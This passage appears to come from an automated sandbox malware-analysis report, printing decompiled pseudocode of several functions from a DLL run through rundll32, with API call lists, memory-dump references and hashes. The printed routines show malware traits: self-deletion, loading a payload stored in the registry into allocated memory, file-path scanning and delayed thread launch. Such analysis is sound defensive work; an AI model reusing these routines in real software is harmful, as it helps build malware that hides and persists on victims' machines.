					RegCloseKey(_v272);
					_t52 =  &(_t51[1]);
					if(_t52 != 0) {
						SetFileAttributesA( &_v260, 0x80); // executed
						MoveFileExA( &_v260, 0, 4); // executed
						DeleteFileA( &_v260); // executed
						_t43 = lstrlenA( &_v260);
						_t47 = _t43;
						if(_t47 > 3) {
							while( *((char*)(_t53 + _t43 + 0x10)) != 0x5c) {
								_t43 = _t43 - 1;
								if(_t43 > 3) {
									continue;
								}
								goto L5;
							}
						}
						L5:
						_t44 = _t43 + 1;
						_t49 =  &(( &_v260)[_t44]);
						if(_t44 >= _t47) {
							L9:
							if( *((char*)(_t53 + _t44 + 0x10)) == 0x5f) {
								goto L10;
							}
						} else {
							while( *((char*)(_t53 + _t44 + 0x10)) != 0x5f) {
								_t44 = _t44 + 1;
								if(_t44 < _t47) {
									continue;
								} else {
									goto L9;
								}
								goto L15;
							}
							L10:
							_t46 = _t44 + 1;
							_t50 = _t46;
							if(_t46 < _t47) {
								asm("o16 nop [eax+eax]");
								while( *((char*)(_t53 + _t46 + 0x10)) > 0x2f) {
									_t46 = _t46 + 1;
									if(_t46 < _t47) {
										continue;
									}
									goto L14;
								}
							}
							L14:
							 *((char*)(_t53 + _t46 + 0x10)) = 0;
							_t49 = _t53 + _t50 + 0x10;
						}
						L15:
						lstrcpynA("26b30163", _t49, 0x64);
					}
					return _t52;
				}
			}

0x10001c60
0x10001c67
0x10001c7c
0x10001c88
0x10001c90
0x10001c98
0x10001d86
0x10001c9e
0x10001ca2
0x10001cbc
0x10001cc8
0x10001cca
0x10001cd0
0x10001cd3
0x10001ce3
0x10001cf2
0x10001cfd
0x10001d08
0x10001d0e
0x10001d13
0x10001d15
0x10001d1c
0x10001d20
0x00000000
0x00000000
0x00000000
0x10001d20
0x10001d15
0x10001d22
0x10001d22
0x10001d27
0x10001d2b
0x10001d3c
0x10001d41
0x00000000
0x00000000
0x10001d30
0x10001d30
0x10001d37
0x10001d3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10001d3a
0x10001d43
0x10001d43
0x10001d44
0x10001d48
0x10001d4a
0x10001d50
0x10001d57
0x10001d5a
0x00000000
0x00000000
0x00000000
0x10001d5a
0x10001d50
0x10001d5c
0x10001d5c
0x10001d61
0x10001d61
0x10001d65
0x10001d6d
0x10001d6d
0x10001d7c
0x10001d7c

APIs

RegOpenKeyExA.KERNEL32 ref: 10001C90
RegQueryValueExA.KERNEL32(?,1001D5A4,00000000,80000001,80000001,?), ref: 10001CBC
RegCloseKey.ADVAPI32(?), ref: 10001CCA
SetFileAttributesA.KERNEL32(80000001,00000080), ref: 10001CE3
MoveFileExA.KERNEL32 ref: 10001CF2
DeleteFileA.KERNEL32(00000000), ref: 10001CFD
lstrlenA.KERNEL32(00000000), ref: 10001D08
lstrcpynA.KERNEL32(26b30163,00000000,00000064), ref: 10001D6D

Strings

/, xrefs: 10001D50
26b30163, xrefs: 10001C7C, 10001D68

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: File$AttributesCloseDeleteMoveOpenQueryValuelstrcpynlstrlen
String ID: /$26b30163
API String ID: 1423710057-3463040142
Opcode ID: 52cdf0e2260fb14908ba538b34f62c458f6644b721c54d0ed3b7cca386bcbe6c
Instruction ID: e1c50e0f0a8b31e681fb5cc38e1189d33a8552f024e0787fb6698c89e57a21f6
Opcode Fuzzy Hash: 52cdf0e2260fb14908ba538b34f62c458f6644b721c54d0ed3b7cca386bcbe6c
Instruction Fuzzy Hash: 47316E71908356AFF701EB24DC88BDBBBE8FB84785F104C2AF295C2196D3B4D5498B52

Uniqueness

Uniqueness Score: -1.00%

Function 04A07540 Relevance: 15.1, APIs: 10, Instructions: 127
registrysleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E04A07540(void* __ebp, intOrPtr _a4) {
				int _v4;
				int _v8;
				void* _v12;
				long _t18;
				int _t21;
				void* _t22;
				void* _t30;
				int _t34;
				char* _t35;
				int _t36;
				void* _t37;
				int _t38;
				intOrPtr _t39;
				void* _t41;
				char* _t42;

				_t41 = __ebp;
				E04A010D0(0x4a16608, 0, 0x100);
				_t35 =  *0x4a16bb8; // 0x4a19df2
				_v8 = 0x100;
				_t18 = RegOpenKeyExA(0x80000001,  *0x4a16bac, 0, 1,  &_v12); // executed
				if(_t18 != 0) {
					L3:
					E04A07390(_t30);
					if( *0x4a16608 == 0) {
						_t36 =  *0x4a165f8; // 0x0
					} else {
						_t36 = lstrlenA(0x4a16608);
						 *0x4a165f8 = _t36;
						if(_t36 < 0x100) {
							if(_t36 > 2) {
								goto L7;
							}
						} else {
							_t36 = 0x100;
							 *0x4a165f8 = 0x100;
							L7:
							if( *((char*)(_t36 + 0x4a16606)) == 0xd &&  *((char*)(_t36 + 0x4a16607)) == 0xa) {
								 *((char*)(_t36 + 0x4a16606)) = 0;
								_t36 = _t36 - 2;
								 *0x4a165f8 = _t36;
							}
						}
					}
					_push(_t41);
					_t42 =  *0x4a16bb8; // 0x4a19df2
					_t21 = RegOpenKeyExA(0x80000001,  *0x4a16bac, 0, 2,  &_v12); // executed
					if(_t21 == 0) {
						RegSetValueExA(_v12, _t42, _t21, 3, 0x4a16608, _t36); // executed
						_t21 = RegCloseKey(_v12);
					}
				} else {
					_v4 = 3;
					RegQueryValueExA(_v12, _t35, 0,  &_v4, 0x4a16608,  &_v8); // executed
					asm("sbb esi, esi");
					RegCloseKey(_v12);
					if( &(_t35[1]) == 0) {
						goto L3;
					} else {
						_t21 = _v8;
						 *0x4a165f8 = _t21;
					}
				}
				if(_a4 == 0 ||  *0x4a16608 == 0) {
					L24:
					return _t21;
				} else {
					_t37 = 0;
					while( *0x4a165ec == 0) {
						Sleep(0x3e8);
						_t37 = _t37 + 0x3e8;
						if(_t37 < 0xffffffff) {
							continue;
						} else {
							return _t21;
						}
						goto L25;
					}
					_t38 =  *0x4a165f8; // 0x0
					_t39 = _t38 + 1;
					if( *0x4a1672c != 0 && _t39 != 0) {
						_t21 = E04A011D0(_t39);
						_t34 = _t21;
						if(_t34 != 0) {
							_t22 = E04A01000(_t34, 0x4a16608, _t39);
							EnterCriticalSection(0x4a16714);
							 *0x4a16708 = 0xf;
							 *0x4a1670d = _t39;
							 *0x4a16709 = _t34;
							LeaveCriticalSection(0x4a16714);
							return _t22;
						}
					}
					goto L24;
				}
				L25:
			}

0x04a07540
0x04a07551
0x04a07556
0x04a07569
0x04a07581
0x04a07585
0x04a075cc
0x04a075cc
0x04a075d8
0x04a0762b
0x04a075da
0x04a075e5
0x04a075e7
0x04a075f3
0x04a07605
0x00000000
0x00000000
0x04a075f5
0x04a075f5
0x04a075fa
0x04a07607
0x04a0760e
0x04a07619
0x04a07620
0x04a07623
0x04a07623
0x04a0760e
0x04a075f3
0x04a07631
0x04a07632
0x04a0764c
0x04a07650
0x04a07660
0x04a0766a
0x04a0766a
0x04a07587
0x04a0758b
0x04a075a5
0x04a075b1
0x04a075b3
0x04a075bc
0x00000000
0x04a075be
0x04a075be
0x04a075c2
0x04a075c2
0x04a075bc
0x04a07676
0x04a07712
0x04a07712
0x04a07689
0x04a0768f
0x04a07691
0x04a0769f
0x04a076a1
0x04a076aa
0x00000000
0x04a076b1
0x04a076b1
0x04a076b1
0x00000000
0x04a076aa
0x04a076b4
0x04a076ba
0x04a076c2
0x04a076ca
0x04a076cf
0x04a076d3
0x04a076dc
0x04a076e9
0x04a076f4
0x04a076fb
0x04a07701
0x04a07707
0x00000000
0x04a07707
0x04a076d3
0x00000000
0x04a076c2
0x00000000

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000001,04A16608), ref: 04A07581
RegQueryValueExA.KERNEL32(?,04A19DF2,00000000,?,04A16608,00000100), ref: 04A075A5
RegCloseKey.ADVAPI32(?), ref: 04A075B3
lstrlenA.KERNEL32(04A16608), ref: 04A075DF
RegOpenKeyExA.KERNEL32(80000001,00000000,00000002,00000100), ref: 04A0764C
RegSetValueExA.KERNEL32(?,04A19DF2,00000000,00000003,04A16608,00000000), ref: 04A07660
RegCloseKey.ADVAPI32(00000100), ref: 04A0766A
Sleep.KERNEL32(000003E8), ref: 04A0769F
EnterCriticalSection.KERNEL32(04A16714), ref: 04A076E9
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A07707

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseCriticalOpenSectionValue$EnterLeaveQuerySleeplstrlen
String ID:
API String ID: 940604332-0
Opcode ID: 127740c18d873b22a2786003dacaf89386fa9c523fb99190c92a8a3ee2402dcb
Instruction ID: 01914afd51e8b91e628f0f4d5ca7228bc209f6c7d9afb96111f08acc24b2e075
Opcode Fuzzy Hash: 127740c18d873b22a2786003dacaf89386fa9c523fb99190c92a8a3ee2402dcb
Instruction Fuzzy Hash: 21410979900311AFE7219F14FC04B6A7BA4E768714F028029F955E61E0D3B97886CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A072A0 Relevance: 13.6, APIs: 9, Instructions: 81
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04A072A0(WCHAR* __edx) {
				void* __ecx;
				signed int _t23;
				WCHAR* _t28;
				signed int _t30;
				signed char _t32;
				WCHAR* _t37;
				WCHAR* _t38;
				WCHAR* _t40;
				WCHAR* _t46;
				WCHAR* _t47;
				WCHAR* _t49;
				short _t50;
				void* _t52;
				void* _t53;
				void* _t54;

				_t47 = _t38;
				 *(_t53 + 0x18) = _t47;
				lstrcatW(_t47, __edx);
				lstrcatW(_t47,  *0x4a16824);
				_t23 = lstrlenW(_t47);
				lstrcatW( *(_t53 + 0x14),  *0x4a16838);
				lstrcatW( *(_t53 + 0x14),  *0x4a16858);
				_push(_t38);
				E04A07180( *(_t53 + 0x18), 1,  *((intOrPtr*)(_t53 + 0x24)),  *((intOrPtr*)(_t53 + 0x24)),  *((intOrPtr*)(_t53 + 0x24)));
				_t54 = _t53 + 0x10;
				_t52 =  !=  ? 1 : 0;
				_t40 = 0;
				_t28 =  *(_t54 + 0x10);
				_t28[_t23] = 0;
				_t49 = _t28;
				lstrcatW(_t49,  *0x4a16828);
				_t30 = lstrlenW(_t49);
				lstrcatW(_t49,  *0x4a16858);
				_t37 =  *(_t54 + 0x10);
				_t50 = 0x30;
				_t46 =  &(_t37[_t30]);
				do {
					 *((short*)(_t46 - 2)) = _t50;
					_t32 = GetFileAttributesW(_t37); // executed
					if(_t32 != 0xffffffff && (_t32 & 0x00000010) != 0) {
						_push(_t40);
						_t40 = _t37;
						E04A07180(_t40, 1,  *((intOrPtr*)(_t54 + 0x24)),  *((intOrPtr*)(_t54 + 0x24)),  *((intOrPtr*)(_t54 + 0x24)));
						_t54 = _t54 + 0x10;
						_t52 =  !=  ? 1 : _t52;
					}
					_t50 = _t50 + 1;
				} while (_t50 <= 0x39);
				return _t52;
			}

0x04a072ab
0x04a072b1
0x04a072b5
0x04a072be
0x04a072c7
0x04a072d5
0x04a072e1
0x04a072e3
0x04a072f7
0x04a072fc
0x04a07306
0x04a07309
0x04a0730b
0x04a07315
0x04a07319
0x04a0731c
0x04a0731f
0x04a0732a
0x04a0732c
0x04a07330
0x04a07335
0x04a07340
0x04a07341
0x04a07345
0x04a0734e
0x04a07354
0x04a0735e
0x04a07368
0x04a0736d
0x04a07377
0x04a07377
0x04a0737a
0x04a0737b
0x04a07388

APIs

lstrcatW.KERNEL32(?,04A17F5C), ref: 04A072B5
lstrcatW.KERNEL32(?), ref: 04A072BE
lstrlenW.KERNEL32(?), ref: 04A072C7
lstrcatW.KERNEL32(?), ref: 04A072D5
lstrcatW.KERNEL32(?), ref: 04A072E1

Part of subcall function 04A07180: lstrlenW.KERNEL32(?,747169A0,00000000,747582B0,?,?,?,?,?,?,?,?,04A072FC,?,?,?), ref: 04A07193
Part of subcall function 04A07180: lstrcatW.KERNEL32(?,00000000), ref: 04A071D0
Part of subcall function 04A07180: GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,04A072FC,?,?,?), ref: 04A071D7
Part of subcall function 04A07180: lstrcpyA.KERNEL32(?,?), ref: 04A0722C
Part of subcall function 04A07180: lstrcatA.KERNEL32(?,7476F9C0), ref: 04A0723C
Part of subcall function 04A07180: lstrcatA.KERNEL32(?,04A0F400), ref: 04A0725A
Part of subcall function 04A07180: lstrcatA.KERNEL32(04A16608,00000000), ref: 04A07266

lstrcatW.KERNEL32(?), ref: 04A0731C
lstrlenW.KERNEL32(?), ref: 04A0731F
lstrcatW.KERNEL32(?), ref: 04A0732A
GetFileAttributesW.KERNEL32(?), ref: 04A07345

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: lstrcat$lstrlen$AttributesFile$lstrcpy
String ID:
API String ID: 584614546-0
Opcode ID: dd9f857074fe4a3c63d20d325c6ca78e6a97e05fa090dd28c0ac352f21a018a7
Instruction ID: 264ae29770ae5bba8c69bc7dc62190d36eb862ac72622d36f851910e3b6b7508
Opcode Fuzzy Hash: dd9f857074fe4a3c63d20d325c6ca78e6a97e05fa090dd28c0ac352f21a018a7
Instruction Fuzzy Hash: E2210336105204AFEB119F25DC40E6EBBE9EF9D358F014568F908D3260E732ED068BA6

Uniqueness

Uniqueness Score: -1.00%

Function 04A07180 Relevance: 10.6, APIs: 7, Instructions: 93
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04A07180(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				char _v52;
				WCHAR* _v56;
				intOrPtr _v60;
				short _v64;
				signed int _t34;
				signed char _t40;
				CHAR* _t45;
				intOrPtr _t55;
				WCHAR* _t56;
				signed int _t62;
				CHAR* _t65;

				_t56 = __ecx;
				_v60 = __edx;
				_v64 = 0;
				_t34 = lstrlenW(__ecx);
				_t62 = 0;
				if(_a8 <= 0) {
					return 0;
				} else {
					_v56 =  &(_t56[_t34]);
					do {
						lstrcatW(_t56,  *(0x4a16730 + ( *(_a4 + _t62 * 4) & 0x0000ffff) * 4));
						_t40 = GetFileAttributesW(_t56); // executed
						if(_v60 == 0) {
							if(_t40 != 0xffffffff && (_t40 & 0x00000010) == 0) {
								goto L11;
							}
						} else {
							if(_t40 == 0xffffffff || (_t40 & 0x00000010) == 0) {
								_t55 = 0;
							} else {
								_t55 = 1;
							}
							if(_t55 != 0) {
								L11:
								_v64 = 1;
								_v52 = 0;
								_t65 =  *(0x4a16a10 + ( *(_a4 + 2 + _t62 * 4) & 0x0000ffff) * 4);
								_t45 = _a12;
								if(_t45 != 0) {
									lstrcpyA( &_v52, _t45);
								}
								if(_t65 != 0) {
									lstrcatA( &_v52, _t65);
								}
								if(E04A01370( &_v52) == 0) {
									lstrcatA( &_v52, "\r\n");
									lstrcatA(0x4a16608,  &_v52);
								}
							}
						}
						_t62 = _t62 + 1;
						 *_v56 = 0;
					} while (_t62 < _a8);
					return _v64;
				}
			}

0x04a07186
0x04a07188
0x04a0718f
0x04a07193
0x04a07199
0x04a0719f
0x04a07296
0x04a071a5
0x04a071b5
0x04a071c0
0x04a071d0
0x04a071d7
0x04a071de
0x04a071fb
0x00000000
0x00000000
0x04a071e0
0x04a071e3
0x04a071f0
0x04a071e9
0x04a071e9
0x04a071e9
0x04a071f4
0x04a07201
0x04a07205
0x04a0720d
0x04a07217
0x04a0721e
0x04a07224
0x04a0722c
0x04a0722c
0x04a07234
0x04a0723c
0x04a0723c
0x04a0724e
0x04a0725a
0x04a07266
0x04a07266
0x04a07268
0x04a071f4
0x04a07274
0x04a07275
0x04a07278
0x04a0728d
0x04a0728d

APIs

lstrlenW.KERNEL32(?,747169A0,00000000,747582B0,?,?,?,?,?,?,?,?,04A072FC,?,?,?), ref: 04A07193
lstrcatW.KERNEL32(?,00000000), ref: 04A071D0
GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,04A072FC,?,?,?), ref: 04A071D7
lstrcpyA.KERNEL32(?,?), ref: 04A0722C
lstrcatA.KERNEL32(?,7476F9C0), ref: 04A0723C
lstrcatA.KERNEL32(?,04A0F400), ref: 04A0725A
lstrcatA.KERNEL32(04A16608,00000000), ref: 04A07266

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: lstrcat$AttributesFilelstrcpylstrlen
String ID:
API String ID: 667488335-0
Opcode ID: c2c40d4ae6e0c9d8528c1ba073b7eb3d97b0f3cc949bb15a8fcd5742c322b970
Instruction ID: 71b73b81919ce2b92f9be961c9e3e91a3ce4784b5dd2799480d60b60b90a1121
Opcode Fuzzy Hash: c2c40d4ae6e0c9d8528c1ba073b7eb3d97b0f3cc949bb15a8fcd5742c322b970
Instruction Fuzzy Hash: D431B0755053109FD710CF68E844A6AB3E8FB98750F04892AF950D7290E778F94ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 10001EF0 Relevance: 7.6, APIs: 5, Instructions: 72
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E10001EF0(void* __esi, void* __eflags, void* _a4) {
				char _v20;
				int _v24;
				int _v28;
				long _t17;
				char* _t32;

				if(E10001A90() == 0) {
					L6:
					return 0;
				} else {
					if(_a4 == 0xb) {
						E10001480();
						ExitProcess(0);
					}
					_t32 =  *0x1001d098; // 0x1001d57c
					_v28 = 0x14;
					_t17 = RegOpenKeyExA(0x80000001,  *0x1001d090, 0, 1,  &_a4); // executed
					if(_t17 != 0) {
						L7:
						E10001440(); // executed
						E10001E30(); // executed
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t11 =  &_v24;
						 *_t11 = _v24 - 1;
						if( *_t11 == 0) {
							 *0x1001d004 = _v28;
						}
						return 1;
					} else {
						_v24 = 1;
						RegQueryValueExA(_a4, _t32, 0,  &_v24,  &_v20,  &_v28); // executed
						asm("sbb esi, esi"); // executed
						RegCloseKey(_a4); // executed
						if( &(_t32[1]) == 0 || lstrcmpA( &_v20,  *0x1001d09c) != 0) {
							goto L7;
						} else {
							goto L6;
						}
					}
				}
			}

0x10001efb
0x10001f8d
0x10001f93
0x10001f01
0x10001f06
0x10001f08
0x10001f0f
0x10001f0f
0x10001f15
0x10001f2a
0x10001f37
0x10001f3f
0x10001f96
0x10001f96
0x10001f9b
0x10001fa0
0x10001fa1
0x10001fa2
0x10001fa3
0x10001fa4
0x10001fa5
0x10001fa6
0x10001fa7
0x10001fa8
0x10001fa9
0x10001faa
0x10001fab
0x10001fac
0x10001fad
0x10001fae
0x10001faf
0x10001fb0
0x10001fb0
0x10001fb5
0x10001fbb
0x10001fbb
0x10001fc5
0x10001f41
0x10001f45
0x10001f5f
0x10001f6b
0x10001f6d
0x10001f76
0x00000000
0x00000000
0x00000000
0x00000000
0x10001f76
0x10001f3f

APIs

Part of subcall function 10001A90: WTSEnumerateSessionsA.WTSAPI32(00000000,00000000,00000001,?,?,?,?,?,?,?,?,10001ED0), ref: 10001AB6
Part of subcall function 10001A90: SetErrorMode.KERNEL32(00008007,?,?,?,?,?,?,10001ED0), ref: 10001AE4
Part of subcall function 10001A90: LoadLibraryA.KERNEL32(?,?,?,?,?,?,10001ED0), ref: 10001B03
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001B1C
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001B32
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001B48
Part of subcall function 10001A90: LoadLibraryA.KERNEL32(?,?,?,?,?,?,10001ED0), ref: 10001B5D
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001B70
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001B86
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001B9C
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001BB2
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001BC8
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001BDA
Part of subcall function 10001A90: GetProcAddress.KERNEL32(00000000), ref: 10001BEC

ExitProcess.KERNEL32 ref: 10001F0F
RegOpenKeyExA.KERNEL32(80000001,00000000,00000001,0000000B), ref: 10001F37
RegQueryValueExA.KERNEL32(?,1001D57C,00000000,?,?,?), ref: 10001F5F
RegCloseKey.KERNEL32(0000000B), ref: 10001F6D
lstrcmpA.KERNEL32(?), ref: 10001F83

Part of subcall function 10001480: RegOpenKeyExA.ADVAPI32(80000001,00000000,00020006,00000000), ref: 100014A4
Part of subcall function 10001480: RegDeleteValueA.ADVAPI32(1001D56B,1001D56B), ref: 100014B9
Part of subcall function 10001480: RegCloseKey.ADVAPI32(?), ref: 100014C3
Part of subcall function 10001480: RegOpenKeyExA.ADVAPI32(80000001,00000000,00020006,?), ref: 100014E2
Part of subcall function 10001480: RegDeleteValueA.ADVAPI32(1001D57C,1001D57C), ref: 100014F1
Part of subcall function 10001480: RegCloseKey.ADVAPI32(?), ref: 100014FB
Part of subcall function 10001480: RegOpenKeyExW.ADVAPI32(80000001,00000000,00020006,?), ref: 10001514
Part of subcall function 10001480: RegDeleteValueW.ADVAPI32(?), ref: 10001528
Part of subcall function 10001480: RegCloseKey.ADVAPI32(?), ref: 10001532
Part of subcall function 10001480: GetModuleFileNameW.KERNEL32(?,00000104), ref: 10001544
Part of subcall function 10001480: SetFileAttributesW.KERNEL32(?,00000080), ref: 10001558
Part of subcall function 10001480: MoveFileExW.KERNEL32(?,00000000,00000004), ref: 10001567
Part of subcall function 10001480: lstrcpyW.KERNEL32 ref: 1000157B
Part of subcall function 10001480: lstrcatW.KERNEL32(?,?), ref: 10001594
Part of subcall function 10001480: lstrcatW.KERNEL32(?), ref: 100015A4
Part of subcall function 10001480: ExitProcess.KERNEL32 ref: 100015BA

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc$CloseOpenValue$DeleteFile$ExitLibraryLoadProcesslstrcat$AttributesEnumerateErrorModeModuleMoveNameQuerySessionslstrcmplstrcpy
String ID:
API String ID: 39653682-0
Opcode ID: 6c4c4bf2122930d55ed4cf201de1abdd608d385cc10f2df80cbd3546e2286fe2
Instruction ID: 439e483633510776eb1db70d99c729de8b071bf878e88de3e0e71f589a3a05fe
Opcode Fuzzy Hash: 6c4c4bf2122930d55ed4cf201de1abdd608d385cc10f2df80cbd3546e2286fe2
Instruction Fuzzy Hash: F0118C31504322AFF701EF60CD88BAB7BE8EF487C8F008829F549D2165D730D9488B62

Uniqueness

Uniqueness Score: -1.00%

Function 10001060 Relevance: 7.6, APIs: 5, Instructions: 54
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E10001060(char** __ecx, int* __edx) {
				int _v4;
				void* _v8;
				char* _t8;
				void* _t11;
				char* _t13;
				int* _t19;
				int* _t20;
				char** _t21;

				_t20 = 0;
				_t19 = __edx;
				_t21 = __ecx;
				_t8 = RegOpenKeyExA(0x80000001,  *0x1001d090, 0, 1,  &_v8); // executed
				if(_t8 == 0) {
					_v4 = 3;
					_t11 = RegQueryValueExA(_v8,  *0x1001d094, 0,  &_v4, _t8, _t19); // executed
					if(_t11 == 0) {
						_t13 = VirtualAlloc(_t11,  *_t19, 0x3000, 4);
						 *_t21 = _t13;
						if(_t13 != 0) {
							RegQueryValueExA(_v8,  *0x1001d094, 0,  &_v4, _t13, _t19);
							asm("sbb esi, esi");
							_t20 = 1;
						}
					}
					RegCloseKey(_v8); // executed
				}
				return _t20;
			}

0x1000106c
0x1000106e
0x10001077
0x1000107e
0x10001086
0x1000108e
0x100010a2
0x100010aa
0x100010b6
0x100010bc
0x100010c1
0x100010d5
0x100010dd
0x100010df
0x100010df
0x100010c1
0x100010e4
0x100010e4
0x100010f2

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000001,00000000,?,?,?,10001E46), ref: 1000107E
RegQueryValueExA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,10001ED9), ref: 100010A2
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,10001ED9), ref: 100010B6
RegQueryValueExA.ADVAPI32(?,00000000,00000003,00000000,?,?,?,?,?,?,?,?,?,?,?,10001ED9), ref: 100010D5
RegCloseKey.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,10001ED9), ref: 100010E4

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: QueryValue$AllocCloseOpenVirtual
String ID:
API String ID: 3199989284-0
Opcode ID: 6ac73eb8102e0e54c316d674d9d68849f22e8ea1e0b04bf2b58ba22e063babbf
Instruction ID: fac92cf6ea0351b1f94f1696c8bff791dd84790729757d9c185c54f3c2ba4280
Opcode Fuzzy Hash: 6ac73eb8102e0e54c316d674d9d68849f22e8ea1e0b04bf2b58ba22e063babbf
Instruction Fuzzy Hash: 27016D31200261BBF722AB62CC58F977FACFB887D5F008525FA49D1020D771C554CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001440 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 21
sleepthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001440() {
				void* _t2;
				DWORD* _t6;

				Sleep(0x1a9c8); // executed
				_t2 = CreateThread(0, 0, E10001100, 0, 0, _t6); // executed
				if(_t2 == 0) {
					return 0;
				} else {
					CloseHandle(_t2);
					return 1;
				}
			}

0x10001446
0x1000145d
0x10001465
0x10001478
0x10001467
0x10001468
0x10001474
0x10001474

APIs

Sleep.KERNEL32(0001A9C8,?,10001F9B), ref: 10001446
CreateThread.KERNEL32 ref: 1000145D
CloseHandle.KERNEL32(00000000,?,10001F9B), ref: 10001468

Strings

Cqt Uqt, xrefs: 1000145D

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
